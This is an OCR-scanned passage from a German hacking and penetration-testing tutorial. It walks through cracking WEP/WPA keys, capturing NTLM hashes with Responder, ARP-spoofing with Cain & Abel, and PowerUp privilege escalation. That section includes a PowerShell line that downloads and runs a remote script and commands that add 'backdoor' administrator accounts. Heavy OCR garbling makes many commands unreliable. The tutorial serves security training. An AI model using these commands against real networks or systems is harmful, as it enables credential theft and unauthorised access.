Etwaige Fehlermeldungen kdnnen sie mit der Option --ignore-negative-
one ausblenden.

Esfolgt das eigentliche Cracken. Dazu starten Sie aircrack-ng mit der Op-
tion Brain-Media-01.cap in einem neuen Fenster. Damit beginnt aircrack
automatisch mit dem Knacken der Sicherung und greift dabel auf die
Aufzeichungsdatei zuriick. Zum besseren Verstandnis. Aireplay-ng fahrt
die Attacke aus, Aircrack-ng knackt die Sicherung.

Stehen aircrack-ng geniigend Aufzeichnungen zur Analyse zur Verfi-
gung, so gibt das Tool im Idealfall nach ca. 5 bis 10 Minunten eine Er-
folgsmeldung aus:

KEY FOUND!

Der Wert wird in eckigen Klammern angezeigt.
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6.4 WPA-Sicherung aushebeln

Waéhrend WEP-gesicherte Verbindungen ohnehin nicht als sonderlich sicher gel-
ten, ist die Sicherheit von WPA- und WPA2-Verbindungen deutlich héher. Doch
auch sie sind anfélig, insbesondere gegen Worterbuchangriffe (dictionary attack).
Mit Tools wie aircrack-ng kdénnen Sie versuchen, WPA-/WPA2-Passphrasen zu
knacken. Beginnen wir mit dem Knacken einer WPA-PSK-gesicherten Verbin-
dung. Der Aufwand fir das Cracken einer solchen Sicherung ist hoher, aber den-
noch nicht unmdglich. Aktivieren Sie zu Testzwecken daher aus dem WLAN-
Access Point die Verwendung von WPA-PSK.

Mit airodump-ng zeichnen wir wieder den Datenverkehr auf und sichern ihn in
einer Datei:

ai rodunp-ng --bssid A4:99:47:1B: FF: 8F --channel 11 --wite

Br ai n- Medi a non0

Nun stellen Sie mit einem Client eine Verbindung zu dem Access Point her und
zeichnen den WPA-Handshake auf. Auch bel dieser Attacke kdnnen Sie eine
Deauthentifizierungs-Nachricht an den Access Point senden, damit die Client-
Verbindungen unterbrochen und wieder aufgenommen werden.

Capturing from wlan®  [Wireshark 1.10.2 (SVYM Rev 51534 from ferunk=1.109] -0 3

File Cdiz Vew So Capture  Aralyze Statistos Telep-omy Tools  rterrals | oels

@oimZ|l=%e ae«2a2F L EE 22 F | WEN:= 5
Filtz- aznal ~ er-sts:-\.. Comar Pr Srnaickacn

Ho, Tima Source Destinatlon Frotocol Lengtl ' Info

sonTe_Somm:id
B L9 B0 eEe Hoawaile _ogftef Lizeoile tiziddiis =R 13 kay (vessaza 3 of )
2 10.200011000 L sanTe_Sa: 30 2d ThsweiTe_1z: (100 ZepaL 117 Key (¥eszezs 4ol d)

1o Trame 5@ 135 oytes 2aowore (1000 bits), 135 osytes captured €100 bizs] on satesfezz O
+ =tha-rzt 11, Sre: Hoawas &= heSfonf [amcmcs oo heSfinf), st dtanr & chesdiad [oazdacoacehe s ad)

Key Toser oalus “yoc: EATCL REY Key (2)
key Intormatior: Cxdtsa

Key _eng.o: 18

Bap lay Go.ite; O

WA iy M B85S0 11 e 070 L

+

cren —- ) S

3 ¥ B02.1¥ Authertication jeapol] 12. “ackets: 170 Disolayec: 4 [2,4%) Arofile: Defauls

Der WPA-Handshakein Wireshark.
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Sowie ein WPA-Handshake erfolgt, zeigt Kali Linux das in der rechten oberen
Ecke an. Nun halten wir das airodump-ng an und 6ffnen die Aufzeichnung mit
Wireshark. Im Sniffer kdnnen Sie dann den Vierweg-Handshake unter die Lupe
nehmen. Beschrénken Sie die Ansicht mit EAPOL auf das Handshake-Protokoll. In
der Spalte Info werden dann die vier Nachrichten aufgefthrt (Message 1 of 4 etc.).

Der néchste Schritt dient dem eigentlichen Knachen des WPA-PSK-Schliissels.
Dazu bedienen wir uns eines Tools, dass Sie bereits aus Kapitel 4 kennen: Meta-
sploit. Fir eine Woérterbuchattacke benétitgen wir nun ein Verzeichnig mit gangi-
gen Wortern. Kali Linux verfigt im Metasploit-Ordner Gber umfangreiche Pass-
wortlisten. Sie liegen im Verzeichnis /usr/share/wordlists/metasploit.

root@kali: ~

Datei Bearbeizen Arsicht Suchan Terminal  Fife

Bel der Worterbuchattacke greifen Sie auf M etasploit-Worterlisten zurlick.

Als Né&chstes rufen wir aircrack-ng mit der Aufzeichnungsdatei und einem Link
zur Worterbuchliste liste.txt auf:

ai rcrack-ng Brain-Media-01.cap -w
/usr/share/wordlists/liste.txt

aircrack-ng testen nun verschiedenste Passwortkombinationen. Im Idealfall gelingt
das Cracken und das Tool gibt eine Erfolgsmeldung aus: KEY FOUND!
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[OO:00:18]

Hurra, Aircrack konnten den Schliissel knacken!

Gelingt das Knacken nicht, gibt aircrack-ng entsprechend eine Fehlermeldung aus.
In Kali Linux ist mit cowpatty ein weiterer Spezialist fur Worterlistenattacken
integriert. Auch dieses Tool analysiert Aufzeichnungsdateien und verwendet Wor-
terlisten fir das Knacken eines WPA-PSK-Schliissels. Der Auruf erfolgt auf der
Konsole mit cowpatty -optionen.

WPA2 bietet noch einmal ein deutliches Plus an Sicherheit, weil hier die Passphra-
se und die SSID verschliisselt und Uber 4096 Mal miteinander kombiniert werden.
Der Schutz dieses Verfahrens ist erheblich und nicht so einfach zu umgehen. Aber
auch hier scheitern Hacker nicht zwangslaufig.

Aber wir kdnnen einen Weg einschlagen, um die WPA2-Entschliisselung zu er-
maoglichen und zu beschleunigen. Das Zauberwort heil3t Pairwise Master Key, kurz
PMK, ein vorkalkulierter Schitissel.

Um den PMK fir eine gegebene SSID vorzuberechnen, verwenden wir eine Wort-
liste und das Programm genpmk. Das fuhren Sie wie folgt aus:

genpnk —f <wortliste>-d PMK-Brain-Media —s "Brain-Medi a"

Wir erzeugen als Néchstes ein WPA-PSK-Netzwerk mit der Passphrase geheim
und zeichnen den Traffic auf. Mit Cowpatty kdnnen Sie nun versuchen, die Phrase
zu entschliisseln. Sie werden staunen: Das dauert meist nicht einmal 10 Minuten.
Wenn Sie den gleichen Vorgang ohne einen vorberechneten Wert mit aircrack-ng
durchfiihren, kann das auch mal eine halbe Stunde dauern. Sie erkennen damit den
Nutzen der V orberechnung.
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6.5 WEP- und WPA-Pakete entschliusseln

Wenn Sie nun den WEP- oder WPA-Schlissel geknackt haben, stellt sich die
nachste Frage: Was machen wir Uberhaupt damit? Die Beantwortung ist simpel:
Wir kdnnen den aufgezeichneten oder mitgeschnitten Traffic entschliisseln, konk-
ret also die WEP- und WPA-Datenpakete 6ffnen.

Und so gehen Sie in der Praxis vor:

1. Ziel ist das Entschliisseln der oben erstellten Aufzeichnungsdatei Brain-
Media-01.cap. Hier greifen wir wieder zu einem Werkzeug der aircrack-
ng-Suite: airdecap-ng. Fuhren Sie folgenden Befehl aus, um die CAP-
Datei zu entschllisseln:

ai rdecap-ng -w schl uessel Brain-Media-01. cap

Der Schliissdl ist bei einer WEP-Verschliisselung mit 128 Bit sechsund-
zwanzig Zeichen lang.

Auf der Konsole kénnen Sie die Entschliisselung verfolgen. Die ent-
schltsselten Daten werden anschlief3end im gleichen Verzeichnis wie die
Ausgangsdatei gespeichert. Allerdings besitzt sie den Zusatz dec:

Br ai n- Medi a- 01- dec. cap

Mit dem Kommando tshark kénnen Sie einen Blick auf die 10 ersten Zei-
len werfen.

2. Das Entschliisseln von WPA-verschllisselten Aufzeichnungen erfolgt nach
folgendem Schema:

ai rdecap-ng —p schl uessel Brain-Media-02.cap —e "Brain-
Medi a"
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6.6 Verbindung herstellen

Nachdem Sie den Schliissel eines WEP- oder WPA-gesicherten WLANS geknackt
haben, kdnnen Sie natirlich eine Verbindung zu diesem aufnehmen. Das ist dann
sozusagen der ,ultimative” Beweis, dass Sie das WLAN geknackt haben. Je nach
Netzwerk kénnen Sie sich dann mehr oder minder frei darin bewegen. Im néchsten
Kapitel lernen Sie Werkzeuge kennen, mit denen Sie sich darin bewegen und sich
unerkannt darin umschauen kdnnen.

Um die Verbindung zu einem WEP-Netzwerk herzustellen, verwenden Sie den
Befehl iwconfig:

iwconfig wlanO essid ,,Brain- Media“ key schluessel

Das Herstellen einer Verbindung zu einem WPA-gesicherten WLAN ist ein bis-
schen kompliziert. Erzeugen Sie eine Konfigurationsdatei wpa-supp.conf, die Sie
in das Verzeichnis /etc/wpa_suppliant kopieren. Die sollte wie folgt aussehen:

net wor k={
ssi d="Net zwer knane"
scan_ssi d=1
pr ot 0=RSN
key_mgnt =WPA- PSK
pai rwi se=CCWP
gr oup=TKI P

psk="rmei nschl uessel "

Die Verbindung kénnen Sie dann wie folgt aufbauen:

wpa_supplicant -i wan0 -D wext -c
[ et c/ wpa_suppl i cant/ wpa_suppl i cant . conf

Deutlich einfacher ist der Aufbau einer Verbindung nattirlich mit Kali Linux-
eigenen Werkzeugen.
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7  Werkzeugkasten — weitere Hacker-
Tools

Im bisherigen Verlauf dieses Buchs haben Sie bereits eine beachttliche Palette an
Werkzeugen kennengelernt, doch Sie miissen nur eine Blick in das Kali Linux-
Menl werfen, um zu erkennen, dass es noch Duzende, wenn nicht sogar Hunderte
weitere nitzliche Tools gibt. Oftmals erkennt man wird die Notwendigkeit eines
Hilfsmittels erst dann, wenn man vor einem bestimmten Problem steht und nicht
mehr weiter weis.

Nicht fir alles, aber doch fir fast alles gibt es Lésungen. Und manchmal kann man
nur staunen, wie einfach die Dinge sein kénnen. Aber diese Erkenntnis und das
eigene Testen von Schwachstellen sind der erste Schritt, potenzielle Schwachstel-
len so schnell wie moglich zu schlief3en.

Wenn es Ihnen gelingt, sich Uber ein WLAN oder einen anderen Weg in ein Netz-
werk einzuloggen, so befinden Sie sich — wenn es sorgsam gewartet und gepflegt
wird — in einer Sackgasse. Das fuhlt sich ein bisschen so an, als wéren Sie in einem
grofRen Gebdude mit einem langen Flur; links und rechts jede Menge Turen, aber
keine dieser Tiren ist gedffnet. Fir diese Tiren benétigen Sie einen Schliissel oder
einen Code fir die Schlief3anlage.

7.1 Zugangsdaten

Doch wie kommen wir an diese Zugangsdaten? Ein kleines, aber sehr niitzliches
Werkzeug fur das Erlangen dieser Credentials ist das Python-Skript responder.py
(https://github.convSpiderLabs/Responder). Responder liest und beantwortet
LLMNR- und NBT-NS-spezifische Datenkommunikation, kann aber auch aktiv
WPAD-V erwundbarkeiten ausnutzen.

Angreifer konnen dieses Tool dazu verwenden, eine eigene PAC-Datei zu injezie-
ren und den Traffic Uber das Skript laufen zu lassen. Ein Nutzer wird dabei ge-
zwungen, sich erneut am SMB-Server bzw. an SMB-Freigaben zu authentifizieren.
Da die Authentifizierung Uber das Responder-Skript 18uft, kdnnen Sie den Daten-
verkehr analysieren und im Idealfall die Zugangsdaten abgreifen und dann fur das
Erlangen eines eigenen Zugangs nutzen.

Das Skript ist nicht Bestandteil von Kali Linux, kann aber nach dem Download
direkt eingesetzt werden. Hier ein Beispiel fur die Ausfuhrung:
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./responder.py —i <ip-adresse> -b Of -r Of -w On

Die Option -i zeigt die IP-Adresse lhres Hosts an, die Option -b schaltet in diesem
Beispiel die NTLM-Authentifizierung aus. Das Deaktivieren der Option -r igno-
riert die Netzwerkantworten. Ganz wichtig ist hier die Option -w On, denn sie
schaltet den Proxy-Server an, Uber den der Traffic umgeleitet wird.

Wenn Sie das Skript starten, dauert es einige Minuten, bis Sie auf der Konsole die
ersten Aktivitaten verfolgen kénnen. Das Skript fuhrt zunéchst verschiedene Tests
aus, analysiert die Umgebung und stellt dabei beispielsweise fest, ob HTTP-, FTP-,
SQL- und weitere Server aktiv sind. Wenn Sie der Ausgabe die beiden folgenden
Zeilen entnehmen konnen, ist Responder.py erfolgreich platziert:

LLMNR poisoned answer sent to this IP: ..

[+] WPAD file sent to: |P-Adresse

Der weiteren Ausgabe kdnnen Sie dann mit User is: einen Benutzernamen ent-
nehmen. Als Néchstes werden der Hostname des Rechners des Users und das ver-
schlUsselte Passwort aufgefiihrt. Das Passwort zeigt folgende Ausgabe an:

Conpl ete hash is: wirre Zei chenfol ge

Hier kommt nun das Programm John the Ripper, oder kurz John bzw. XR, ins
Spiel. Es dient dazu, verschllsselte Passworter eines Systems durch Brute Force
bzw. durch einen Worterbuchangriff zu entschliisseln. John ist bereits in Kali Li-
nux integriert und einfach unter den Top 10-Werkzeugen zu finden. Kopieren Sie
die Zeichenfolge in eine Datei und speichern Sie diese beispielsweise unter der
Bezeichnung hash.txt an. John muss nun mit der Datei und dem Format gefittert
werden:

john --format=netntl nv2 hash. t xt

In der Regel ist das Knacken der Verschliisselung fur John the Ripper kein Prob-
lem und Sie kénnen der Ausgabe das entschllisselte Passwort entnehmen. Dieser
Aufwand lohnt allerdings manchmal nicht, beispielsweise dann nicht, wenn Sie
bereits durch Ihr Social Engineeierung oder aus anderen Quellen wissen, dass die
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Benutzer eine komplexe Passwortrichtlinie verwenden oder wenige Benutzer aktiv
sind. Gelegentlich ben6tigt man mehrere Versuche, um einen geeigneten Hash-
Wert zu ergattern, der dann mit John entschl Uisselt werden kann.

7.2 Passworter, WLAN-Schlissel und mehr
erlangen

Um tiefer in ein Netzwerk, seine Struktur und seine Anwendungen eindringen zu
koénnen, missen Sie Daten abfangen, mit denen Sie irgendwie weiterkommen.
Dabei sind ARP-Spoofing-Methoden sehr  hilfreich, und hierbei insbesondere die
sogenannten Man-in-the-Middle-Angriffe, kurz MitM, die auch als Janusangriffe
(in Anspielung auf den doppelgesichtigen Janus der romischen Mythologie) ge-
nannt werden.

‘B e

file Wiew Configire Toe's  Hzlp

LS REHD Y s RO DMEESDEE @2 G
[& Tiecnders [ Network |68 neer [of Cracker |88 liaceoute |B CODU | Wirdsee |25 ey |

W Cached Passounds
-l Protected Storoge Preas the + Sullon un (e lolber b Surmnp Ui Fulecles Sioays

gl LA Sl

2% \Wrelger Pazsworde

F== Edit Zoves
-§y Enterorise Manzger
% Creder lial Maragsr
- E Windows Vault

j Protected Storage

R s o= b

Der Klassiker fur MitM -Attacken: Cain & Abel.

ARP-Spoofing ist eine spezielle Man in the Middle-Attacke. Dabei befindet sich
der potenzielle Angreifer entweder physikalisch oder logisch zwischen den beiden
Kommunikationspartnern, hat dabei mit seinem System vollstandige Kontrolle
Uber den Datenverkehr zwischen zwei oder mehreren Netzwerkteilnehmern und
kann die Informationen nach Belieben einsehen und sogar manipulieren. Die Ja-
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nuskopfigkeit des Angreifers besteht darin, dass er den Kommunikationspartnern
vortéuscht, der jeweilige Gegentiber zu sein.

Als eines der besten Werkzeuge diese Art gilt das Windows-Programm Cain &
Abel (http://Ammw.oxid.it/cain.html). Die Anwendungsbereiche sind sehr vielféltig.
Sie kdénnen damit beispielsweise Passworter abgreifen und knacken, WLAN-
Traffic mitschneiden und vieles mehr. Beim ARP-Spoofing werden geféschte
ARP-Pakete an das Ziel Ubermittelt. Dabei wird beim Zielrechner die ARP-Tabelle
Uberschrieben, wodurch der gesamte Netzwerkverkehr des Zielrechners auf den
Penetration-Rechner umgeleitet wird. Das Besondere an Cain & Abel: Esist ein
Multifunktionswerkzeug, nicht nur das einfache Auslesen aller Passworter, sondern
eben auch das Sniffing, die Durchfiihrung von Brute Force-Attacken und noch viel
es mehr erlaubt.

Nach der Installation missen Sie zunéchst die Netzwerkkonfiguration anpassen.
Dazu klicken Sie in der Symbolleiste auf das zweite Symbol von links (Start/Stop
Sniffer). Wahlen Sie den Netzwerkadapter aus, den Sie fur die Aufzeichnung ver-
wenden wollen. Dann aktualisieren wir im Hauptfenster die Host-Liste. Offnen Sie
die Registerkarte Sniffer und dort das Unterregister Hosts.

MAC Address Scannet-m_
|

Target
=+ Al hosts in my subnet
" Rarige
Frarm-
|192.188. i

To
|192.188. 2 . 254

Promiscuous-tMode Scanner

™ ARP Test [Broadcast 31-bit)
I~ ARP Test [Broadcast 18-bit)
I~ ARP Test [Broadcast S-bit)
I~ ARP Test [Group bit)

I~ ARP Test [Multicast group 0]
™ ARP Test [Multicast group 1)
I ARP Test [Multicast group 3)
[ Al Tests

Cancel |

Die Konfiguration des Adressber eichs.
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Anschlief3end bestimmen Sie den Adressbereich, der fiir Sie von Interesse ist. Dazu
klicken Sie auf das Pluszeichen, bestimmen den Bereich oder wahlen alle Hosts
des Subnetzes, in dem Sie sich befinden. Mit einem Klick auf OK wird die Liste
aktualisiert. Das Tool durchkdmmt das Netzwerk und stellt Ihnen die gefundenen
Hostsin einer Tabelle zur Auswahl.

Waéhlen Sie das Ziel aus. Dazu wechseln Sie zur Registerkarte ARP. Markieren Sie
in der linken Spalte zundchst den Haupteintrag ARP. Es 6ffnet sich rechts ein
zweigeteilter Bereich. Mit einem Klick in oberen erscheint in der Symbolleiste auf
das blaue Pluszeichen. Cain & Abel prasentiert Ihnen den Dialog ARP Poison
Route. Dort wahlen Sie links beispielsweise Ihren DSL-Router und rechts einen
Zielrechner. Mit Cain & Abel kénnen Sie sich dann zwischen diesen beiden Ko-
munikationspartnern einhangen.

Um den eigentlichen Angriff zu starten, klicken Sie den Radioaktiv-Button
(Start/Sop ARP). Wenn Sie parallel dazu den Traffic mit Wireshark aufgezeichnet
haben, kdnnen Sie diesen mitlesen.
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Die Registerkarte Passwords verrét hnen nun, welche Passworter
zwischen den beiden Zielen ausgetauscht wurden.

Wenn Sie nun die Registerkarte Passwords 6ffnen, kdnnen Sie dort Informationen
(Benutzername/Passwort) abrufen, die zwischen den beiden Rechnern Ubermittelt
wurden, zwischen die sie sich mit Cain & Abel gesetzt haben. Wenn das Passwort
dann auch noch im Klartext Ubermittelt wird, haben Sie den Zugang zum jeweili-
gen Dienst.
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Bel der Ausfihrung von Cain & Abel ist zu beachten, dass es sich dabel um ein
Windows-Programm handelt und daher nicht direkt auf einem Kali Linux-System,
wohl aber auf einer VM ausgefuihrt werden kann. Fir den Betrieb von Cain & Abel
miissen Sie auRerdem die Windows-eigene Firewall oder die eines Drittanbieters
deaktivieren.

7.3 Rechte ausweiten

Wenn Sie sich Zugang zu einem Netzwerk oder System verschafft haben, so unter-
liegen Sie meist gewissen Beschrankungen, die verhindern, dass Sie tiefer in ein
System eintauchen. Die Lésung hierfir ist theoretisch einfach: Wir weiten einfach
die bereits erlangten Rechte aus. Man spricht auch von Rechteausweitung, Rechte-
erhéhung, Privilegienerweiterung oder Privilegien-Eskalation.

Dabei werden Bugs bzw. Konstruktions- oder Konfigurationsfehler einer Software,
meist eines Betriebssysteme genutzt, um einem Benutzer oder einer Anwendung
Zugang zu Ressourcen zu verschaffen, deren Nutzung mit eingeschrénkten Rech-
ten nicht moéglich wére.

Das Prinzip der Rechteausweitung fusst auf den heute Ublichen Mehrbenutzersys-
temen, die fir unterschiedliche Benutzer verschiedene Zugriffsrechte vorsehen.
Die Rechteausweitung bedeutet, dass ein Nutzer Rechte erhélt oder sich diese ver-
schafft, die er normalerweise nicht besitzt.

Da kann es sich um die unterschiedlichsten Rechte handeln, beispielsweise das
Anlegen oder Loschen von Dateien, das Abrufen und Manipulieren von Benutzer-
informartionen und, und, und. Auch das Recht zur Installation von Anwendungen
ist in diesem Zusammenhang ein ganz wichtiges.

Die Privileg-Eskalation tritt auf, wenn Fehler in dem betreffenden System enthal -
ten sind und eine Umgehung des Sicherheitskonzepts mdglich ist. Gerade Win-
dows-Betriebssysteme und darauf ausgefiihrte Anwendungen haben in der Vergan-
genheit in dieser Hinsicht immer wieder fir negative Schlagzeilen gesorgt.

Man unterscheidet bel der Privilegien-Eskalation zwischen vertikaler und horizont-
ler Ausweitung. Bel der vertikalen Rechteausweitung erfolgt eine Erhéhung von
Zugriffsrechten, die eigentlich hoher privilegierten Nutzern, meist aus anderen
Benutzergruppen, vorbehalten sind. Ein Beispiel hierfur ist die Installation einer
Treibersoftware durch einen Benutzer, der sich administrative Rechte verschafft
hat.

Bel der horizontalen Rechteausweitung kann ein normaler Benutzer auf Funktio-
nen oder Inhalte zugreifen, die fir andere normale Benutzer gedacht sind. Ein
Benutzer A und Benutzer B gehtren derselben Benutzergruppe an, aber Benutzer
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B verflgt zusétzlich Uber das Recht, auf das Netzwerk zugreifen zu durfen. Nach
der horizontalen Rechteausweitung besitzt auch Benutzer A dieses Recht.

Auch fir diesen Anwendungsbereich stehen Ihnen vielfétige Tools und Werkzeu-
ge zur Verfugung. Ich mdchte an dieser Stelle zumindest eines vorstellen: Power-
Up. Damit kénnen Sie unter Windows-Betriebssystemen eine Ausweitung der
aktuellen Rechte erzielen. Das Skript finden Sie unter folgender URL :

https://github.com Veil -
Fr amewor k/ Power Tool s/t r ee/ mast er / Power Up

Erzielt wird die Rechteausweitung durch verschiedene Service-Checks, DLL-
Attacken, Prifungen der Windows Registry und weitere Tests. Ein Blick in den
textbasi erten Skript-Code offenbart die unzahligen Tests und Prifungen.

Bevor Sie das Skript einsetzen kénnen, missen Sie es mit Hilfe von Powershell
importieren. Dazu fiihren Sie zunéchst folgenden Befehl aus:

C. > powershel | . exe -nop -exec bypass

Um das PowerUP-Modul zu importieren, verwenden Sie folgenden Befehl:
PS C:\> I nport-Mdul e Power Up. psl

Das Skript stellt Ihnen verschiedene Tests zur Verfigung, die Sie auch einzeln
ausfihren und die Ergebnisse in eine Datei schreiben kolnnen. Am einfachsten ist
es sicherlich, wenn Sie mit der Funktion Invoke-AllChecks alle Priifungen ausfih-
ren und das Ergebnisin eine Ausgabedatel schreiben:

PS C.\> I nvoke- Al |l Checks | Ausgabedatei -Encoding ASClI
checks. t xt

Wenn Sie einen Rohdurchlauf ausfiihren wollen, ohne dabel das Zielsystem zu
bertihren, so fiihren Sie folgenden Befehl aus:

C.\> powershell -nop -exec bypass -c “IEX (New- Obj ect
Net.WebClient) .DownloadString(“http://bit.ly/1mK640H); Invo-
ke- AlIChecks”

Auch Metasploit verflgt Gber ein Modul, mit dem Sie Powershell-Kommandos
ausfiihren kénnen: exec_powershell.
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Nach dem Start gibt das Skript auf der Konsole je nach System verschiedenste
Ergebnisse aus. Eine typische Ausgabe sieht wie folgt aus:

Runni ng | nvoke- Al | Checks
Checking for unquoted service paths...

[+] Unquoted service path: CustonSVC -
C:\Users\...\Service\Service\bi n\ Rel ease\ servi ce. exe

Checki ng service executabl e perm ssions...

[+] WVul nerabl e service executabl e: CustonSVC -
C:\Users\...\Service\bin\ Rel ease\ service. exe

Checki ng service pernissions...

[+] Wul nerabl e service: CustomAPP - C:\Custom depl oy. exe
Checking for unattended install files...

[+] Unattended install file: C\Wndows\ Tenp\ Unattended. xmi

Checki ng “PATH% for potentially hijackable service .dll |oca-
tions...

Checking for AlwayslnstallEl evated registry key...
[+] AlwayslinstallEl evated is enabled for this nmachine!

Checking for Autol ogon credentials in registry...

Den Hinweisen der Skriptausgabe kann man bereits einige Ansatzpunkte entneh-
men. Bel der Datei C:\Windows\Temp\Unattended.xml handelt es sich um eine
unbeaufsichtigte Installationsdatei samt Passwort, das man woméglich erlangen
kann. In der Ausgabe findet sich auch ein verwundbarer ausfihrbarer Service.
Wenn es uns nun gelingt, diese EXE-Datei durch eine eigene zu ersetzen, so stehen
die Chancen fir eine Ausweitung gut. Das PowerUp-Skript verfigt Uber eine
Funktion, mit der Sie dies testen kénnen. st das Ergebnis ein True, war der Vor-
gang erfolgreich, bel Falseist er missglickt:

PS C.\> Wite-Servi ceEXE - Servi ceNane CustonSVC - User Nanme
backdoor -Password passwordl123 -Verbose

VERBOSE: Backing up “C:\Users\...
\ Servi ce\ bi n\ Rel ease\ service.exe” to “C:\ Users\
.\ Servi ce\ bi n\ Rel ease\ service.exe.bak”

VERBOSE: Service binary witten out to
“C:\Users\..\Service\bin\Rel ease\ service.exe’

True
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Der neue Bindrservice erzeugt einen neuen Benutzer mit der Bezeichnung back-
door und flgt diesen als lokalen Administrator hinzu. Nachdem Sie den neuen
Administrator hinzugefugt haben, fuhren Sie folgenden Befehl aus, um die ur-
sprungliche Datel wieder an Ihren Original speicherplatz zu kopieren:

Rest or e- Servi ceEXE - Servi ceNane Cust onSVC

Gelegentlich sind auch Services verwund- und angreifbar. Wenn wir einen Service
anhalten und wieder starten konnen, kdnnen wir auch den Pfad zur EXE-Datei
andern. Dann kénnen sie einen zweiten User mit erweiterten Rechten anlegen:

net user backdoor?2 /add

Dann folgt die Ausfiihrung des PowerUp-Skripts:

PS C:\> Invoke- Servi ceUser Add - Servi ceName Cust omAPP -
User Nane backdoor2 -Password password123 - Verbose

VERBOSE: Service “CustomAPP” original path:
“C:\ Cust om deploy.exe”

VERBOSE: Service “CustomAPP” original state: “Stopped”
VERBOSE: Adding user “backdoor2”

VERBOSE: Adding user “backdoor2” to group “Administrators’
VERBOSE: Restoring original path to service “CustomAPP”
VERBOSE: Leaving service “CustomAPP” in stopped state

True

Nun kénnen Sie noch die GUI fir das Hinzufiigen eines lokalen Administrators
ausfuhren:

PS C.\> Wite-User Addivsl
Service binary written out to “UserAdd.msi”’

True

Glickwunsch! Sie haben die anfangs bescheidenen Berechtigungen in einen Ad-
ministrator-Account ausgeweitet. Das kdnnen nicht nur Sie, sondern auch poten-
zielle Hacker.
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8 Social Engineering und Informations-
verknupfung

Fir potenzielle Angreifer ist jede noch so kleine Information Uber ein Zielsystem
relevant. Dazu gehoren neben reinen technischen Informationen auch soziale Hin-
tergriinde: Wer setzt welches System ein? Welche Beziehungen bestehen zwischen
den Anwendern? Mit wem kommunizieren sie?

Unter dem Oberbegriff Social Engineering fasst man all die Techniken zusammen,
die den zwischenmenschlichen Beeinflussungen mit dem Ziel dienen, bei Personen
bestimmte Verhaten hervorzurufen. Die Opfer sollen meist zur Preisgabe von
vertraulichen Informationen bewegt werden.

Die sogenannten Social Engineers spionieren dabei das personliche Umfeld ihres
Opfers aus, tduschen Identitéten vor oder nutzen Verhaltensweisen wie Autoritéts-
horigkeit aus, um geheime Informationen zu erlangen. Das Ziel von Social Engi-
neering ist meist das Eindringen in ein fremdes Computersystem mit den erlangten
Informationen. Man spricht daher auch von Social Hacking.

Social Engineering ist haufig von Erfolg gekrént, weill Menschen relativ einfach
manipulierbar und generell das schwéchste Glied in einer Kette sind. Prinzipiell
gilt: Der Mensch ist meist der grofite Risikofaktor. Da helfen auch hard- und soft-
warebasierte Sicherheitsmechanismen wenig, wenn die Zielperson die gewiinsch-
ten Informationen preisgibt.

Man unterscheidet zwischen verschiedenen Arten von Social Engineering. Das
computerbasierte Social Engineering ist eigentlich kein richtiger Social-Hack, wird
aber dennoch dazu genutzt, der Zielperson eine Identitét vorzutduschen oder eine
falsche Vertrauensbasis zu simulieren.

Das vielleicht prominenteste Beispiel hierfiir sind die sogenannten Phishing-Seiten
oder Phishing-E-Mails. Da beide recht einfach zu redlisisieren sind, sind sie ein
beliebtes Mittel, um an die gewilinschten Informationen zu kommen. Phishing
versucht meist, der Zielperson Zugangsdaten fir sicherheitsrelevante Bereiche zu
entlocken.

Weitere Varianten sind das Human Based und das Reverse Social Engineering.
Social Engineering lebt in hohem Mal3e von der Kombination der gesasmmelten
Daten. Sie kdnnen aus den unterschiedlichen Quellen stammen, beispielsweise aus
Telefonlisten, Organigrammen, Metadaten von Download-Dokumenten und ver-
mehrt aus Social Media-Diensten.
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8.1 Daten kombinieren

Nun ist das Sammeln von Daten die eine Sache, aber wie bringt man die aus den
verschiedenen Quellen stammende Daten in eine sinnvolle Struktur? Je komplexer
und aufwendiger 1T-Infrastrukturen werden, umso mehr droht die Gefahr, dass
man den Uberblick tber das Ganze verliert. Nun gibt es zwar beispielsweise Inven-
tarlésungen, mit denen Kunden die verschiedenen Komponenten und Dienste do-
kumentieren und sogar visualisieren, doch scheitern diese oft daran, wenn auch
personenbezogene Daten integriert werden sollen.

In der Praxis zeigt sich immer wieder, dass nicht das, was man kennt, anféllig ist,
sondern eben das, was man nicht kennt. Aber wie kann man nun ein klares Profil
der eigenen Infrastruktur mit allen relevanten Elementen erstellen — und zwar phy-
sikalisch und ressourcenbasiert?
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Der Einrichtungsassitent von Maltego.

In Kali Linux finden Sie unter den Top 10-Wekrzeuge ein Programm, von dem Sie
bislang vermutlich noch nichts gehort haben: Maltego. Das von den stidafrikani-
schen Software-Entwicklern Paterva (https.//www.paterva.com/web6/) stammende
Programm dient der Verkniipfung und Visualisierung von Beziehungen unter-
schiedlicher Komponenten.
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In Maltego kdnnen Netzwerk- und sonstige Ressourceneintrdge angelegt werden.
Dabei ist es gleich, ob es sich um einen Server-Anwendung, eine Router-Konfig-
uration oder personenbezogene Daten handelt.

Mit Maltego kénnen Sie folgende Informationen miteinander verknipfen:
Personen
Personengruppe
Firmen
Websites
I nfrastrukturkomponenten wie Domain, DNS-Namen und |P-Adressen
Phrasen
Dokumente
Dateien

und vieles mehr

Das Besondere an Maltego: Das Programm ist Java-basiert und daher fur Linux,
Mac OS X und Windows verflgbar.

Neben den Entities, also den Elementen, zeichnet Maltego ein zweites wichtiges
Merkmal aus. die Transformationen. Damit kénnen Sie eine Entity um weitere
Information ergénzen. Sie kénnen beispielsweise einer Website eine |P-Adresse
zuweisen. Auf diesem Weg entstehen Verkniipfungen zwischen den verschiedenen
Elementen, die Sie dann mit Maltego in verschiedenen Darstellungen begutachten
koénnen. Maltego ist mit weit Uber 100 solcher Transformationen und 15 Entity-
Typen ausgestattet.

Maltego unterstiitzt Sie mit seiner grafischen Benutzeroberfldche dabei, die Bezie-
hungen zwischen den verschiedenen Elementen sichtbar zu machen, die Sie so
vorher nicht gesehen bzw. nicht wahrgenommen haben — und das selbst dann,
wenn die Verbindungen nicht direkt, sondern tiber mehrere Ecken laufen.

Was hat das nun alles mit Penetration Testing zu tun? Ganz einfach: Maltego un-
terstiitzt Sie in der Phase der Informationssammlung rund um alles, was mit Si-
cherheit zu tun hat.

Die Verwendung der Maltego-Clients ist prinzipiell recht einfach. Wie Sie anhand
des Zusatzes Clients erkennen, setzt Maltego auf eine Client-Server-Architektur.
Die Entwickler betreiben eigene Server, aber Sie kdnnen auch eigene Maltego-
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Server einsetzen, die allerdings nicht gerade preiswert sind. Fir den Einstieg ge-
nigt es, wenn Sie mit der Community Edition und den freien Servern arbeiten.
Zunéchst benétigen Sie einen Account. Die Zugangsdaten geben Sie bei der Instal-

lation des Clients an.
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Die ersten Schritte zur eigenen Grafik.

